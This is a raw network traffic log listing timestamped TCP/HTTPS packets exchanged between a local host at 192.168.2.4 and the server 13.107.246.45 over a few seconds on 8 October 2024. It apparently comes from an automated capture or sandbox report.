Oct 8, 2024 02:46:08.774836063 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.774916887 CEST	51379	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.775155067 CEST	51379	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.775167942 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.833556890 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.833709002 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.833784103 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.833909035 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.833925962 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.833936930 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.833941936 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.836731911 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.836771965 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.836946964 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.837075949 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.837094069 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.898063898 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.898493052 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.898515940 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.898927927 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.898931980 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.999279022 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.999341965 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.999397993 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.999696970 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.999710083 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.999725103 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.999730110 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.003428936 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.003473997 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.003562927 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.003705978 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.003720045 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.315232038 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.315799952 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.315830946 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.316396952 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.316404104 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.338839054 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.339292049 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.339303017 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.339797020 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.339802027 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.622512102 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.622535944 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.622595072 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.622596979 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.622648001 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.622963905 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.623116016 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.623140097 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.623153925 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.623164892 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.623200893 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.623250008 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.623532057 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.623538017 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.623553038 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.623558044 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.626158953 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.626810074 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.627266884 CEST	51379	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.627304077 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.627870083 CEST	51379	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.627875090 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.628544092 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.628612995 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.628768921 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.628818989 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.628887892 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.629132032 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.629146099 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.629266977 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.629281044 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.630923986 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.630985975 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.631057978 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.631278038 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.631306887 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.730954885 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.731025934 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.731105089 CEST	51379	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.731350899 CEST	51379	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.731372118 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.731384993 CEST	51379	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.731389046 CEST	443	51379	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.732577085 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.732609034 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.732678890 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.732702017 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.732726097 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.732791901 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.733006001 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.733036041 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.733061075 CEST	51380	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.733073950 CEST	443	51380	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.734667063 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.734755993 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.734853983 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.735018969 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.735052109 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.735507965 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.735559940 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.735637903 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.735775948 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.735795975 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.821636915 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.822428942 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.822459936 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.823771000 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.823796988 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.932235956 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.932290077 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.932436943 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.932462931 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.932497025 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.932686090 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.932708979 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.932744980 CEST	51381	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.932751894 CEST	443	51381	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.936232090 CEST	51386	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.936290026 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:09.936382055 CEST	51386	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.936594009 CEST	51386	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:09.936603069 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.279639959 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.280253887 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.280322075 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.280859947 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.280884027 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.281594038 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.282017946 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.282087088 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.282582045 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.282598019 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.378371000 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.378865004 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.378923893 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.379439116 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.379453897 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.380398989 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.380420923 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.380426884 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.380508900 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.380569935 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.380752087 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.380791903 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.380814075 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.380903006 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.380953074 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.380963087 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.381000042 CEST	443	51382	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.381051064 CEST	51382	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.381416082 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.381431103 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.382195950 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.382275105 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.382350922 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.382440090 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.382440090 CEST	51383	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.382484913 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.382513046 CEST	443	51383	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.384201050 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.384262085 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.384339094 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.384490013 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.384504080 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.385154963 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.385209084 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.385287046 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.385428905 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.385443926 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.477427959 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.477844954 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.478050947 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.478142977 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.478142977 CEST	51384	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.478183985 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.478209972 CEST	443	51384	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.480731964 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.480771065 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.480856895 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.481018066 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.481024981 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.482007980 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.482155085 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.482239008 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.482322931 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.482322931 CEST	51385	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.482367992 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.482392073 CEST	443	51385	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.484623909 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.484633923 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.484725952 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.484883070 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.484894991 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.577753067 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.578541040 CEST	51386	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.578620911 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.579020023 CEST	51386	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.579035997 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.675956011 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.676532030 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.676594973 CEST	51386	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.676784992 CEST	51386	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.676831961 CEST	443	51386	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.683001041 CEST	51391	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.683037996 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:10.683098078 CEST	51391	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.683633089 CEST	51391	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:10.683645010 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.064116001 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.064752102 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.064810991 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.065125942 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.065140009 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.082235098 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.082798958 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.082819939 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.083441019 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.083467007 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.084748030 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.085010052 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.085038900 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.085474968 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.085481882 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.089955091 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.090208054 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.090219975 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.090651989 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.090656996 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.173543930 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.173909903 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.173969984 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.174026012 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.174026012 CEST	51387	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.174050093 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.174065113 CEST	443	51387	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.176904917 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.176939011 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.176997900 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.177140951 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.177151918 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.183536053 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.183768988 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.183902025 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.183902025 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.183902025 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.185719013 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.185951948 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.186011076 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.186007023 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.186057091 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.186079979 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.186093092 CEST	51388	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.186100006 CEST	443	51388	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.186131001 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.186198950 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.186975002 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.187016964 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.188102961 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.188128948 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.188201904 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.188294888 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.188322067 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.188540936 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.188769102 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.188832045 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.188860893 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.188878059 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.188891888 CEST	51390	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.188896894 CEST	443	51390	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.192555904 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.192580938 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.192647934 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.192756891 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.192769051 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.467221975 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.468077898 CEST	51391	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.468132019 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.468499899 CEST	51391	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.468508959 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.486193895 CEST	51389	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.486228943 CEST	443	51389	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.568799019 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.569072962 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.569127083 CEST	51391	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.569536924 CEST	51391	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.569559097 CEST	443	51391	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.578689098 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.578722954 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.578850985 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.578970909 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.578979015 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.820631027 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.821261883 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.821347952 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.822098017 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.822150946 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.845988035 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.846934080 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.847017050 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.847084045 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.847099066 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.853086948 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.853557110 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.853646994 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.853691101 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.853708029 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.855674028 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.856194973 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.856226921 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.856260061 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.856266975 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.944322109 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.944441080 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.944602013 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.944850922 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.944900990 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.944933891 CEST	51392	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.944948912 CEST	443	51392	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.947984934 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.948035955 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.948126078 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.948360920 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.948373079 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.982161999 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.982677937 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.982749939 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.982788086 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.982800961 CEST	443	51395	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.982816935 CEST	51395	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.982822895 CEST	443	51395	13.107.246.45	192.168.2.4
